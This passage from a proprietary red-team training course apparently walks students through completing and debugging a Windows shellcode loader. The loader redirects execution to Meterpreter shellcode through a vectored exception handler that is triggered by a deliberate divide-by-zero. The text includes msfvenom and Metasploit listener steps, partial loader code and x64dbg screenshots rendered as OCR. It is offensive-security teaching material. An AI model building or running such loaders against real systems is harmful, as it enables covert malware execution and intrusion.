running processes or modular applications where exception handlers are registered dynamically.

The function performs a straightforward operation: it locates the handler associated with the provided handle and
removes it from the internal vectored exception handler list.

RemoveVectoredExceptionHandler(hVeh);

Based on the Microsoft documentation (MSDN), RemoveVectoredExceptionHandler() takes a single argument: the
handle identifying the previously registered handler. The table below explains the parameter and its role in the
cleanup process.

RemoveVectoredExceptionHandler() Explanation Parameter Functionality
Parameter
PVOID Handle The Handle argument is of type PVOID and a handle returned by

AddVectoredExceptionHandler(). Identifies the specific vectored
exception handler to remove from the process-wide VEH chain.
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B5.8: LAB - VEH

Introduction

In this lab we will take a closer look at the Win32VEH loader. We will get hands-on with some code, and students will
be asked to complete different types of tasks for each workbook. The corresponding Visual Studio project can be
found in the appropriate chapter folder in the provided workshop materials.

Overview of the Loader Concept

The figure below shows which Windows APIs are used for memory allocation primitives, copying shellcode into
memory, and executing the shellcode in memory in context of the Win32VEH loader.

Concept of Win32VEH Loader

Embed shellcode in .text section and redirect execution via Vectored Exception Handler

Embed shellcode in .text section at compile
time —
(no runtime allocation)

Using pragma directives:
#pragma section(".text")...

Register Vectored Exception Handler kernel32! ntdll!
(VEH callback) AddVectoredExceptionHandler RtlAddVectoredExceptionHandler
Tri - . CPU generates hardware exeption
[1ogegdivicaskbgzaiclexcaptio] | (STATUS_INTEGER_DIVIDE_BY_ZERO)
Win32VEH Loader
Windows APIs
Windows kernel captures CPU state ntdll!
(CONTEXT) KiUserExceptionDispatcher
(Rip, Rsp, Rax, etc.) (kernel to user-mode bridge)
VEH modifies ContextRecord . il .
Rip = shellcode address RtiDispatchException
(returns EXCEPTION_CONTINUE_EXECUTION) (calls VEH handlers)
. ntdil!
Kernel restores modified CONTEXT to CPU NtContinue
(CPU (Rip) now at shelicode address) (e i)
Students Tasks

For this lesson the student must complete the following tasks from top to bottom in the context of the appropriate
loader. Detailed instructions for each task can be found in the appropriate workbook.
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Meterpreter: Shellcode and Listener Preparation

To generate Meterpreter shellcode, see the "Workbook: Staged Meterpreter Shellcode" or "Workbook: Stageless
Meterpreter Shellcode", which can be found in chapter 4.

Task Task Description
Generate e Use the msfvenom tool in kali Linux and generate Meterpreter shellcode as a byte
Shellcode sequence in hex string format or as a hex array.
Prepare e Usethe msfconsole command to start the Metasploit framework in kali Linux, then
Listener use the Metasploit command use exploit/multi/handler and configure an appropriate
listener.

Visual Studio: Building the Loader

For this workbook, please use the Visual Studio project Win32VEH and complete the loader by solving all the related
tasks shown below.

Task Task Description
Visual Studio e Open the related Visual Studio project by double-clicking the appropriate
Project .sln file within the project.
Meterpreter e Paste the shellcode you created with msfvenom into the shellcode loader
Shellcode in the correct place.
Complete Vectored e Modify the CONTEXT structure's Rip to point to shellcode
Exception Handler (VEH) e Return the appropriate value to continue execution.
Function
Register VEH e Passthe VehHandler function to AddVectoredExceptionHandler().
Compile Loader & Test e Compile the loader as x64 debug and run your compiled .exe and check
Run that a stable Meterpreter session has been established.

x64dbg: Debugging Preparations

This workbook requires that you have completed the loader in Visual Studio. If you are unable to complete the loader,
you can use the completed loader in the Solutions folder to continue with the debugging part.

Regardless of which version of the loader you are debugging, use the "Workbook - Debugging Preparations” to prepare

your loader for debugging, which can be found in chapter 5.
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x64dbg: Debugging the Loader

If you have successfully prepared your loader for debugging, you can now start debugging from your loader using the
"Workbook-Debugging" workbook.

Task Task Description

e By setting a software breakpoint on RtlAddVectoredExceptionHandler(),
VEH Registration we can confirm that our vectored exception handler is actually registered
in the loader’s process memory.

e By continuing execution in the debugger, we how want to observe the
intentionally triggered exception caused by the divide-by-zero
Exception Trigger instruction. At this point, execution should break when the exception
occurs. We want to verify that the RIP register contains the address of the
faulting instruction in memory and record this value for later reference.

e We also want to observe, in the debugger, how execution transitions
Kernel to User Mode from kernel mode back into user mode after the exception is raised.
Transition Setting a breakpoint on KiUserExceptionDispatcher() allows us to catch
this exact transition point.

e By setting a breakpoint on the VEH function (VehHandler) inside the
loader, we can confirm that our handler is the one taking over when the
divide-by-zero exception occurs. When the breakpoint hits, inspect the
first parameter passed to the handler (on x64 this is in RCX). RCX should
point to an EXCEPTION_POINTERS structure. From there, you can follow
the pointers to both ExceptionRecord and ContextRecord.

e |nthe EXCEPTION_RECORD, verify that the exception code matches the
fault we intentionally triggered (for a divide-by-zero this should be
EXCEPTION_INT_DIVIDE_BY_ZERO). Also note the exception address,
which should match the instruction location you recorded earlier from
RIP.

Exception Handling

e |nthe CONTEXT structure, check the saved RIP value as well. At this stage
it should still point to the faulting instruction (or the point where
Windows intends to resume). Later, once we modify ContextRecord->Rip
inside the handler, this is the exact field that determines where
execution continues—potentially the address of our shellcode.

e Usingthe debugger, we also want to verify that Windows actually
commits the modified processor state after the exception has been
handled. By setting a breakpoint on NtContinue(), we can inspect the final

Validating Context CONTEXT structure that Windows is about to restore to the CPU,
Restoration including the instruction pointer (RIP).

e Atthis point, we should be able to confirm that our exception handler
successfully redirected execution by overwriting CONTEXT.Rip. Stepping
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past the NtContinue() call then allows us to observe execution resuming
at the new address.

B5.8.1: Workbook - Visual Studio

Introduction

Using this workbook for this lab, the student must complete the Win32VEH loader. All the code for this loader is
written in C, and the main code can be found in main.c in the associated Visual Studio project, which can be opened
by double-clicking the .sln file.

« B5-ExceptionHandling » Win32VEH v O
Name Type Size

Vs File folder

Win32VEH File folder
GE Win32VEH.sIn Visual Studio Solution 2 KB

Loader Functionality Summary

The following table provides an overview of the functionality of the Shellcode Loader.

Step Shellcode Loader Functionality

1. Place shellcode bytes directly in the .text section using __declspec(allocate(".text")).
2. Register a Vectored Exception Handler (VEH) using AddVectoredExceptionHandler().
3. Trigger a synchronous exception (division by zero) to invoke the VEH.

4. Modify the CPU context's Rip register to point to shellcode address.

5. Return EXCEPTION_CONTINUE_EXECUTION to restore modified context and execute.
6. Clean up by removing the VEH with RemoveVectoredExceptionHandler().
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Student Tasks

Most of the code for this loader has already been written, but to complete the code for this loader, or to enable the
full functionality of this loader, you will need to complete all the tasks in this workbook.

Task: Insert Shellcode

At this point you should already have the Win32VEH Visual Studio project open. As shown below, you should see the
main.c file in the Source Files file in the Visual Studio Solution Explorer.

Solution Explorer
Flo-s@@| o f=

Search Solution Explorer (Ctrl+)

3 Solution (1 of 1 project)
4 [H]

o0 References

@8 External Dependencies

E Header Files

B Resource Files

ES Source Files

\

> [ mainc

To accomplish this task, as shown below, you need to generate staged or stageless x64 Meterpreter shellcode with
msfvenom insert the shellcode into the variable named data in main.c as shown below.

" . text™)) 1S signe ar datal[] = { Oxfc,0xu8,60x83,

Remember, if you want to know how to generate staged x64 Meterpreter shellcode, look at the "Workbook -
Meterpreter Staged Shellcode" in the "Staged vs Stageless" chapter.

Also, if you want to know how to use CodeFuscation to encode your shellcode, look at the "Workbook -
CodeFuscation Shellcode Encoding" in the "Shellcode Encoding" chapter.

Directly inserting stageless shellcode into Visual Studio can lead to issues, as the IDE struggles with
handling very large arrays and may freeze.

To work around this, first open main.c in a lightweight editor like Notepad++ and paste the shellcode into the
designated variable. After saving your changes, reopen your loader project in Visual Studio to continue
development and compile your loader.

Additionally, avoid scrolling to the section containing the stageless shellcode in Visual Studio; once the large
array is rendered in the editor, Visual Studio may attempt to process it and freeze.

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 1131



(@ REDOPS

Task: VEH Handler - Modify Context

The Vectored Exception Handler is the core of this loader technique. When an exception occurs, Windows calls our
handler with a pointer to EXCEPTION_POINTERS, which contains the CPU's saved state. In the VehHandler function,
complete the context modification to redirect execution to our shellcode.

In the VehHandler function, complete the context modification to redirect execution to our shellcode. As shown

below, most of the code is already implemented in the loader. However, the Rip assignment is missing, currently set
to XXX, and needs to be completed.

LONG WINAPI VehHandler(PEXCEPTION_POINTERS ExceptionInfo) {
s ic LONG redirected = 0;

if (InterlockedCompareExchange(&redirected, 1, 0) == 0) {

ExceptionInfo->ContextRecord->Rip =|(DWORD6L)XXX;

This parameter must be configured appropriately as the CONTEXT structure is used to restore the CPU state after
exception handling. According to the Windows exception handling mechanism, the Rip register must be set correctly
to ensure that execution resumes at the desired address (our shellcode) rather than at the faulting instruction.
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Task: VEH Handler - Return Value

After modifying the context, we must tell Windows how to proceed with exception handling. As shown below, most of
the code is already implemented in the loader. However, the return value is missing, currently set to XXX, and must be
replaced with the correct constant.

return XXX;

return EXCEPTION_CONTINUE_SEARCH;

The return value matters because it determines what Windows does next after our handler runs. Depending on what
the handler returns, Windows will either resume execution using the (potentially modified) CONTEXT structure or
continue searching for another handler.

For the lab, you should check the MSDN documentation and identify which return value tells Windows to continue
execution. That is the option that causes Windows to restore the modified context and resume at the updated
CONTEXT.Rip—which, in our case, points to the shellcode.
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Task: Register the VEH

Now we must register our exception handler with Windows so it will be called when exceptions occur. As shown
below, most of the code is already implemented in the loader. However, the function pointer parameter for
AddVectoredExceptionHandler is missing, currently set to XXX, and must be replaced with the correct variable
pointing to the handler function.

PVOID hVeh = AddVectoredExceptionHandler(1l, XXX);

This parameter must be configured appropriately as the function pointer determines which callback Windows will
invoke when an exception occurs. According to the MSDN documentation, the Handler parameter expects a pointer
to a function with the correct signature. The student should identify which function in the code matches the required
PVECTORED_EXCEPTION_HANDLER signature and pass it as the second parameter.

So far, we've completed the Win32VEH loader, and now we'll compile the loader for a first test run. To do this, look at
the next workbook in this chapter, "Workbook - Compile Loader & Test Run", which can be found in the chapter "A
base - Classic Loader".

When compiling the Win32 VEH loader in Release mode, compiler optimizations must be disabled in the
project settings under C/C++ > Optimization (set this to Disabled (/O0d)). If optimizations are left enabled,
the MSVC compiler is free to aggressively transform the generated code. This includes optimizations such as
constant folding, instruction reordering, and dead-code elimination.

This matters because the loader intentionally relies on a precise fault to trigger the vectored exception
handling path. Constructs that invoke undefined behavior—such as deliberately causing a divide-by-zero—
are especially vulnerable to optimization. The compiler may remove the fault entirely, replace it with different
code, or rewrite it in a way that no longer generates the expected CPU exception.

If that happens, the exception never occurs, the VEH handler is never invoked, and execution redirection
fails. Disabling optimizations prevents the compiler from “helping” in this way and ensures that the faulting
instruction is emitted exactly as written. As a result, the exception-driven control flow behaves predictably
and the VEH-based execution path works as intended.
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Win32VEH Property Pages

Configuration: Release

4 Configuration Properties
General
Advanced
Debugging
VC++ Directories
4C/C++
General

Optimization

Preprocessor

~  Platform: Active(x64)

Optimization

Inline Function Expansion
Enable Intrinsic Functions
Favor Size Or Speed
Omit Frame Pointers

? X

Configuration Manager...

Disabled (/Od)|
Default

Yes (/Oi)
Neither

Enable Fiber-Safe Optimizations No

Whole Program Optimization

Yes (/GL)
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B5.8.2: Workbook - Debugging

Introduction

Using this workbook for this lab, the student must complete the Win32VEH loader. All the code for this loader is
written in C, and the main code can be found in main.c in the associated Visual Studio project, which can be opened
by double-clicking the .sln file.

At this point, you should have already prepared your loader for debugging, if not, please look at "Workbook -
Debugging Preparations" in chapter "A base - Classic Loader".

Student Tasks

By debugging your completed loader or the one from the Solutions folder, you will follow the tasks outlined in this
workbook to gain a deeper understanding of the functionality of the loader.

Task: VEH Registration

As the first step when working with the Win32VEH loader, we want to verify—using a debugger—that the Vectored
Exception Handler (VEH) has been registered correctly by our code. This helps ensure that the basic setup is working
before we move on to triggering and handling exceptions.

As shown in the image below, before we begin debugging, we perform some initial setup in x64dbg by placing a
breakpoint on RtlAddVectoredExceptionHandler().

B cru | Log 1l Notes ® Breakpoints  ™# Memory Map [ | Call Stack =% SEH le2| Script & Symbols <% Source
Base ModuTle Address |Type |ordinal|symbol
00007FF7E40E0000 [win32veh.exe o — T Rt |Addve ctoredexceptionHandler
00007FFF58BF0000 | ucrtbased.dl11 B Follow in Disassembler ectoredcontinuedandier
00007FFF6B210000 | veruntimeld0d.dll will Follow in D
00007FFF7EF40000 | kernelbase.d11 L | el T (BT
00007FFF7F7C0000 [ kernel32.d11 5 3
00007FFF81790000 [IGARNGAN 1) fEen Symisals e

I'l Toggle Breakpoint F2 I

@f Toggle Bookmark Ctrl+D

We repeat this process for the functions KiUserExceptionDispatcher() and NtContinue() as well. All three functions are
part of ntdll.dll and play a key role in the exception-handling path we want to observe.

| Log 1l Notes ® Breakpoints  ®# Memory Map [ Call Stack =% SEH lt3] Script &] Symbols <% Source
Address Module/Label/Exception state Disassembly
00007FFF81812070 | <ntd11.d11.Rt1AddvectoredExceptionHandler> Enabled |xor r8d,r8d
00007FFF8182DDF0 | <ntd11.d11.ZwContinue> Enabled |mov rl0,rcx
00007FFF81831450 | <ntd11.d11.KiuserExceptionDispatcher> Enabled |cld

In addition, as shown below, we set a software breakpoint on the VEH routine inside our loader, called VehHandler(),
which resides in the loader executable itself (Win32VEH.exe). This is an important step because it allows us to closely
examine the ExceptionPointers structure—specifically the ExceptionRecord and ContextRecord—while the handler is
executing.
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& cru |.#Log | Notes ® Breakpoints ™8 Memory Map [ | Call Stack =2 SEH  |o Script % Symbols <> Source /- References . 4 ThrL
Module Address | Type |ordinal |symbol

00007 FF7E40E0000 O vehHandler
DOCUTEEESRRrO000 ucribased. d & Follow in Disassembler T
00007FFF6B210000 | veruntimel40d.d11 " ;

00007FFF7EF40000 | kernelbase. d11 - | (el @ iy
00007FFF7F7C0000 | kernel32. "4 Hel Symbolic N
00007 FFF81790000 FECIRICIR & % on Symiokc Fame

@ Toggle Breakpoint F2
4+ Toggle Bookmark Ctrl+D

At this point, as illustrated below, we have configured a total of four software breakpoints, all of which are required for
debugging the Win32VEH loader.

|.slog i Notes # Breakpoints  ®# Memory Map [/ Call Stack =2 SEH  lo| Script %] Symbols <> Source

' Ref
Address Module/Label/Exception State Disassembly
00007FFF81812070 | <ntd11.d11.RtT1AddvectoredexceptionHandler> Enabled |xor r8d,r&d
00007FFF8182DDF0 | <ntd11.d11.ZwContinue> Enabled |mov rl0,rcx
00007FFF81831450 | <ntd11.d11.KiUsereExceptionDispatcher> Enabled |cld
00007FF75D4C3840 | <win32veh.exe.vehHandler> Enabled |mov qword ptr ss:[rsp+8],rcx

To begin the debugging session, follow the instructions printed in the loader’s console window. Once everything is
ready, press <Enter> to start the debugger and continue with the verification step.

— O X
[#] Press the <ENTER> key to start the debugging session. -

As shown below, press <Enter> once more to proceed with registering the Vectored Exception Handler.

B C:\Users\user\Desktop\ESI_Material_Master_RedOps\01-Loader... — O X
[#] Press the <ENTER> key to start the debugging session. "

[#]IPress <ENTER> to add the Vectored Exception Handler (VEH).I

-, v

Next, as shown in the image below, we switch to the disassembler view in x64dbg. If everything is working correctly,
you should see that the software breakpoint on RtlAddVectoredExceptionHandler() has been hit. This confirms that our
VEH routine, VehHandler(), was successfully registered.

| log | Notes

® Breakpoints  ®# Memory Map [ )/ Call Stack  =# SEH 122 Script & Symbols

45:33¢0 xor r8d,r8d . Rt'ITAddVecto-redExceptionHand'Ier|
013 908000000 | Jmp ntall./FFr8l8.12080
00007FFF81812078 cC int3

00007FFF81812079 ccC int3
00007FFF8181207A CcC int3
00007FFF81812078B CcC int3
00007FFF8181207C ccC int3
00007FFF8181207D CcC int3

r8d=0

.text:00007FFF81812070 ntd11.d11:%$82070 #81470 <RtlAddvectoredexceptionHandlers
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The registration occurs via the Win32 API AddVectoredExceptionHandler() in kernel32.dll, which acts as a wrapper.

Internally, this wrapper calls RtlIAddVectoredExceptionHandler() in ntdll.dll, where the corresponding system call is

executed to register the VEH handler.

As shown below, the debugger is currently paused at RtlAddVectoredExceptionHandler() in ntdll.dll, because we

previously set a breakpoint on this function. At this point, execution is suspended inside the debugger.

@% Dump 1 UYDump2 @LDump3 U4 Dump4 EWDump5 & Watch 1 lx= Locals  “L Struct
Address Hex ASCII
00007FFF81790000 [4D 5A 90 00{03 00 00 00|04 00 00 OO|FF FF 00 00|MZ.......... vy.
00007FFF81790010 (B8 00 00 00|00 00 00 00|40 00 00 00({00 00 00 00| ,.......@.......
00007FFF81790020 (00 00 00 00|00 00 00 00|00 OO 00 0000 00 00 00| ... vvivvvunnnns
00007FFF81790030 |00 00 00 00|00 OO0 OO0 00|00 00 OO0 OO(E8 00 00 00| ...vvuennnn. e...
00007FFF81790040 |OE 1F BA OE|(00 B4 09 cp|21 B8 01 4Cc|cD 21 54 68|..° LIV LLIlTh
00007FFF81790050 (69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E 6E 6F|is program canno
00007FFF81790060 [ 74 20 62 65|20 72 75 6|20 69 6E 20|44 4F 53 20|t be run in DOS
00007FFF81790070 [6D 6F 64 65|2E OD OD 0A|24 00 00 00|00 00 00 OO|mode....$.......
00007FFF81790080 |07 A7 68 6A|43 c6 06 39|43 C6 06 39|43 C6 06 39|.8hjCA.9CE.9CA.9
00007FFF81790090 | 57 AD 06 38|42 C6 06 39|57 AD 05 38|60 C6 06 39|w..8B£.9w..8 £.9
00007FFF817900A0 |57 AD 02 38|c2 C6 06 39|57 AD OB 38|5C C7 06 39|w..8A%L.9w..8\C.9
Command:
| Paused  |INT3 breakpoint at <ntdll.Rt/AddVectoredExceptionHandler> (00007FFF81812070)!|

Before we can continue the debugging process in the loader’s console window, we need to return control to the
application. To do this, click the Run button in x64dbg (highlighted by the red arrow below on the right), or simply
press F9. The thread will then resume execution, and control will be handed back to the loader’s console window.

e

oE[=3]n ¢t % §
Blcru [ Jlog [ Notes
RIPp

' 3

® Breakpoints

2 Wl ¢

8 Memory Map

@ & fx # A
[V Call Stack

=% SEH

l2| Script

& Symbols ¢

00007FFF81812073
00007FFF81812078
00007FFF81812079
00007FFF8181207A
00007FFF81812078B
00007FFF8181207C
00007FFF8181207D

~

45:33c0

E9 08000000

CC
CC
cC
cC
CC

xor r8d,r8d
jmp ntdl11.7FFF81812080

int3
int3
int3
int3
int3
int3

RtlAddvectoredeExceptionHandler .

r8d=0

. text:00007FFF81812070 ntd11.d11:$82070 #81470 <Rtl1AddvectoredexceptionHandlers>

e Dump 1 @4 Dump2 @YDump3 @4 Dump4 EWDump5 @ watch1 l*=| Locals L Struct
Address Hex ASCII
00007FFF81790000 | 4D 5A 90 00|03 00 00 00|04 00 00 OO|FF FF 00 00O(MZ.......... yy.
00007FFF81790010 | B8 00 00 00|00 00 00 00|40 00 00 00|00 00 00 00| ,....... @.......
00007FFF81790020 | 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| ......cvvvnnan..
00007FFF81790030 | 00 00 00 00|00 00 00 00|00 00 00 0O|E8 00 00 OO|............ e...
00007FFF81790040 [OE 1F BA OE|00 B4 09 cD|21 B8 01 4c|cD 21 54 68|..°.. .1l ,.LI!Th
00007FFF81790050 |69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E 6E 6F|is program canno
00007FFF81790060 | 74 20 62 65|20 72 75 6E|20 69 6E 20|44 4F 53 20|t be run in DOS
00007FFF81790070 | 6D 6F 64 65|2E OD OD OA[24 00 00 00|00 00 00 00|mode....$.......
00007FFF81790080 |07 A7 68 6A|43 C6 06 39|43 c6 06 39 /43 C6 06 39|.8§hjCk.9CL£.9CA.9
00007FFF81790090 | 57 AD 06 38|42 C6 06 39|57 AD 05 38 /60 Cc6 06 39|w..8B£.9w..8 £.9
00007FFF817900A0 | 57 AD 02 38|/c2 ¢6 06 39|57 AD 0B 38|5C €7 06 39|w..8A%£.9w..8\C.9
Command:

‘ Running |Thread 11032 created, Entry: ntdIl.00007FFF817DD110, Parameter: 0000023AE7B10B50 I

So far, we have successfully confirmed that RtlAddVectoredExceptionHandler() is being used, which indicates that our

VEH handler was registered correctly by the loader. With this verification complete, we can now move on to the next

phase of debugging.
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Task: Exception Trigger

Next, we want to verify that the exception triggered by our intentional division-by-zero operation is handled
correctly. To do this, follow the instructions in the loader’s console window and press the <Enter> key to continue the
debugging session, as shown below.

B8 C:\Users\user\Desktop\ESI\ES|_Material_Master RedOp..  — | X
[#] Press the <ENTER> key to start the debugging session. A

[#] Press <ENTER> to add the Vectored Exception Handler (VEH).
[#] Vectored Exception Handler (VEH) added successfully.

[#] VEH Handle: DOOEO23AE7BL3AFO

[#] Press the <ENTER> key to continue debugging.l

Next, as shown below, we need to press <Enter>once more. This intentionally triggers an exception by executing the
division-by-zero code in our loader.

ﬂC:\Users\user\Desktop\ESI\ESLMateriaLMasterﬁRedOps\O1-Loaders\BS-Exc... — | X
[#] Press the <ENTER> Kkey to start the debugging session. -

[#] Press <ENTER> to add the Vectored Exception Handler (VEH).
[#] Vectored Exception Handler (VEH) added successfully.

[#] VEH Handle: 0OB00211F75F3AF0Q

[#] Press the <ENTER> key to continue debugging.

I[#] Press <ENTER> to prepare for shellcode execution via VEH.I
[#] We will trigger a division by zero exception.
[#] The VEH will handle the exception and redirect execution to the shellcode.

- v

As shown below, the debugger pauses as expected when a division-by-zero exception occurs. This behavior confirms
that the exception-handling chain described earlier in this chapter is functioning correctly.

B9 Dumpl  @YDump2 @4Dump3 YDump4 UL Dump5 & Watch1 Ix=llocals  “L Struct

Address Hex ASCII
00007FFF81790000 | 4D 5A 90 00|03 00 00 00|04 00 00 OO|FF FF 00 OO|MZ.......... yy..
00007FFF81790010 | B8 00 00 00|00 00 00 00|40 00 00 00|00 00 00 00| ,....... @.......
00007FFF81790020 |00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| .vvvvvenrnnrnnns
00007FFF81790030 |00 00 00 00|00 00 00 00|00 OO0 00 OO|E8 00 00 00| ..v'vvveurunn e

00007FFF81790040 [OE 1F BA OE|00 B4 09 ¢D|21 B8 01 4Cc|cD 21 54 68|..°.. .i! .LI!Th
00007FFF81790050 |69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E 6E 6F|is program canno
00007FFF81790060 | 74 20 62 65|20 72 75 6E|20 69 6E 20(44 4F 53 20|t be run in DOS
00007FFF81790070 [ 6D 6F 64 65|2E OD OD OA |24 00 00 00|00 00 00 00|mode....$.......
00007FFF81790080 | 07 A7 68 6A |43 C6 06 39|43 cb6 06 39|43 c6 06 39| .§hjCcL£.9CL.9C£.9

00007FFF81790090 |57 AD 06 38|42 c6 06 39|57 AD 05 38|60 c6 06 39|w..8B£.9w..8 £.9
NNNN7EEER17ANNAN | E7 An N2 2WIr2? cA NA 20157 An NR 2RIE- ¢7 NA 20w RAF Ow R\ _Q

Command: ‘

Paused ‘ First chance exception on 00007FF75D4C3975 (C0000094, EXCEPTION_INT_DIVIDE_BY_ZERO)! I

Because a debugger is attached to the loader—or more precisely, to the loader’s running process—it receives the
first chance to handle the exception as soon as it is raised. Only after the debugger processes this first-chance
exception is control passed on to the registered VEH in our loader.
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Furthermore, by examining the disassembler window in x64dbg, we can see that the instruction pointer (RIP) is set
exactly to the instruction that caused the exception. In this case, as expected, RIP points to the line of code
responsible for the division-by-zero operation.

& cpu |.sLog |} Notes #® Breakpoints ™ Memory Map  [J/ Call Stack =@ SEH [ Script

RIP ]| 00007 FF75D4C3975 F77D 24 idiv dword ptr ss:[rbp:24 |
000U DAC39/3 8945 44 mov dword ptr ss:[rop+ , eax

®|(00007FF75D4¢C3978| ~ EB 00 jmp <win32veh.$LN7> main.c:224

|:>. 00007FF75D4C397D 48:884D 08 mov rcx,gword ptr ss:[irbp+8] |main.c:239
®|(00007FF75D4C3981 FF15 8906010(¢ call qword ptr ds:[<&RtlRemove

®||00007FF75D4C3987 90 nop
®(|00007FF75D4C3988 33¢0 Xor eax,eax main.c:246
®|(00007FF75D4C398A 48:8DA5 2801( Tea rsp,qword ptr ss:[rbp+128]imain.c:247

<

dword ptr ss:[rbp+24]=[00000070076FFC34]=0

. text:00007FF75D4¢C3975 win32veh.exe:$13975 #2D75

This behavior confirms that the exception was raised at the precise faulting instruction, allowing us to clearly identify
where and why the exception occurred. At this point, we have completed this part of the debugging process and
successfully verified that the exception triggered by the intentional division-by-zero operation works as expected.

As shown below, the debugger is still paused on the exception. This is completely normal and intended behavior. We
will continue from this state in the next debugging phase.

U4 Dumpl @YDump2 @4 Dump3 @YDump4 UL Dump5 & Watch1 Ix-llocals  “L Struct

Address Hex ASCII

00007FFF81790000 (4D 5A 90 00|03 00 00 00|04 00 00 OO|FF FF 00 OO|MZ.......... Vy. .
00007FFF81790010 |B8 00 00 00|00 00 00 00(40 00 00 00|Q0 00 00 0Of,....... @.......
00007FFF81790020 (00 00 00 00|00 00 00 OO(0O0 OO0 OO OO(00 00 00 OO0 vvv v v i v i ennnnn
00007FFF81790030 (00 00 00 00|00 00 00 00|00 OO OO OO(E8 OO OO OO ............ e...

00007FFF81790040 | OE 1F BA OE|00 B4 09 ¢D|21 B8 01 4C|CD 21 54 68|..°.. .I! .LI!Th
00007FFF81790050 |69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E 6E 6F|1is program canno
00007FFF81790060 |74 20 62 65|20 72 75 6E|20 69 6E 20|44 4F 53 20|t be run in DOS
00007FFF81790070 | 6D 6F 64 65|2E OD OD 0A|24 00 00 00|00 00 00 OO|mode....$.......
00007FFF81790080 |07 A7 68 6A|43 c6 06 39|43 c6 06 39|43 c6 06 39|.8hjCcL.9C4£.9C£.9

00007FFF81790090 |57 AD 06 38|42 c6 06 39|57 AD 05 38|60 €6 06 39|w..8B£.9W..8 £.9
NNNNZ7EEER179NNAN | E7 An N? 2R I|ec2? cA NA 2Q1E7 An NR 2R IE- 7 NA 2WIw  RKRALF Quw R\r Qq

Command: ‘

Paused ‘ First chance exception on 00007FF75D4C3975 (C0000094, EXCEPTION_INT_DIVIDE_BY_ZERO)! I
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Task: Kernel to User Mode Transition

As we learned earlier in this chapter, when an exception is raised in user mode, Windows must ensure that no
arbitrary user-mode code is executed in kernel mode. To enforce this separation, Windows uses the function
KiUserExceptionDispatcher() in ntoskrnl.exe. This function is responsible for transferring the captured exception
information from the Windows kernel back to user mode, where it can be processed by registered vectored exception
handlers.

The goal of this debugging section is to continue execution in x64dbg from the point where the exception was
triggered in the previous step and to observe this transition—from kernel mode back to user mode—as the exception
is dispatched to our VEH.

As shown below, the debugger is still paused on the exception. As mentioned earlier, this is completely normal and
expected behavior. From this point, we will continue the debugging process and proceed with the next steps.

&l Dump 1 ¢4Dump2 @Y Dump3 @UDump4 @4Dump5 & watch 1 l*=l Locals ~ “L Struct

Address Hex ASCIT
00007FFF81790000 [4D 5A 90 00|03 00 00 00|04 00 00 OO|FF FF 00 00|MZ.......... VY. .
00007FFF81790010 (B8 00 00 00|00 00 00 00(40 00 00 00|00 00 00 00| ,....... @.......
00007FFF81790020 (00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| . vuvvvvunennnnnn
00007FFF81790030 (00 00 00 00|00 00 00 00|00 00 00 OO|E8 00 00 00| ....vvuvuunn. e

00007FFF81790040 |0OE 1F BA OE|[00 B4 09 cD|21 B8 01 4Cc|CcD 21 54 68|..°.. .I! .LI!Th
00007FFF81790050 (69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E 6E 6F|is program canno
00007FFF81790060 | 74 20 62 65|20 72 75 6E|20 69 6E 20|44 4F 53 20|t be run in DOS
00007FFF81790070 [6D 6F 64 65|2E OD OD OA |24 00 00 00|00 00 00 00|mode....$.......
00007FFF81790080 |07 A7 68 6A|43 Cb6 06 39(43 Cb6 06 39|43 c6 06 39| .8hjCL.9CA.9CL.9

00007FFF81790090 |57 AD 06 38(42 c6 06 39|57 AD 05 38|60 ¢6 06 39|w..8B£.9w..8 £.9
NNNN7EEER17ANNAN | 57 AR N2 2R Ic2 oA NA RAIE7 An AR 2R IE- 7 NA 201w RAF Ow R\ O

Command:

Paused First chance exception on 00007FF75D4C3975 (C0000094, EXCEPTION_INT_DIVIDE_BY_ZERO)! I

To continue, as shown below, click the Run button in x64dbg or simply press F9.

oE[Ri ¢t e ta ML Phs B HE
& cpu | .t Log | 1| Notes ® Breakpoints ¥ Memory Map [/ Call Stack =3 SEH J2| Script

00007FF75D4¢C3975 F77D 24 idiv dword ptr ss:[rbp+24]
00007FF75D4C3978 8945 44 mov dword ptr ss:[rbp+44],eax
00007FF75D4c3978( ~ EB 00 jmp <win32veh.$LN7> main.c:224
00007FF75D4C397D 48:884D 08 mov rcx,gword ptr ss:[rbp+8&] main.c:239
00007FF75D4¢3981 FF15 8906010(¢ call qword ptr ds:[<&Rt1Remove
00007FF75D4C3987 90 nop

00007FF75D4C3988 33c0 Xor eax,eax main.c:246
00007FF75D4C398A 48:8DA5 2801( Tea rsp,qword ptr ss:[rbp+128](main.c:247

<

dword ptr ss:[rbp+24]=[00000070076FFC34]=0

.text:00007FF75D4C3975 win32veh.exe:$13975 #2D75

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 1141



2

'REDOPS

INFORMA TION SECURITY

As shown below, the instruction pointer (RIP) is now set to KiUserExceptionDispatcher(). More precisely, we have hit
the software breakpoint on KiUserExceptionDispatcher() that we configured at the beginning of this debugging lab.

[L]/ Call Stack

=7 SEH

3] Script

& Symbols

i cpu | Log |1l Notes #® Breakpoints  ®# Memory Map
B—e FC cld
®||00007FFF81831451 48:8B05 D8FD
@®|00007FFF81831458 48:85c0 test rax,rax
®|00007FFF81831458| ~ 74 OF
@ 00007FFF8183145D 48:8BCC mov rcx,rsp
®||00007FFF81831460 48:81cl F004( add rcx,4r0
®|00007FFF81831467 48 :8BD4 mov rdx,rsp
®||00007FFF8183146A FFDO call rax
<

je ntdl1.7FFF8183146C

KiuserexceptionbDispatch

mov rax,qword ptr ds:[7FFF8191

.text:00007FFF81831450 ntd11.d11:$A1450 #A0850 <KiUsereExceptionDispatcher>

% Dump 1 o Dump2 @4 Dump3 @4 Dump4  E4% Dump 5 & Watch 1 l*=I Locals L Struct
Address Hex ASCII
00007FFF81790000 (4D 5A 90 00|03 00 00 00|04 00 00 OO|FF FF 00 QO(MZ.......... yy.
00007FFF81790010 (B8 00 00 00|00 00 00 00|40 00 00 00|00 00 00 QO ,....... @.......
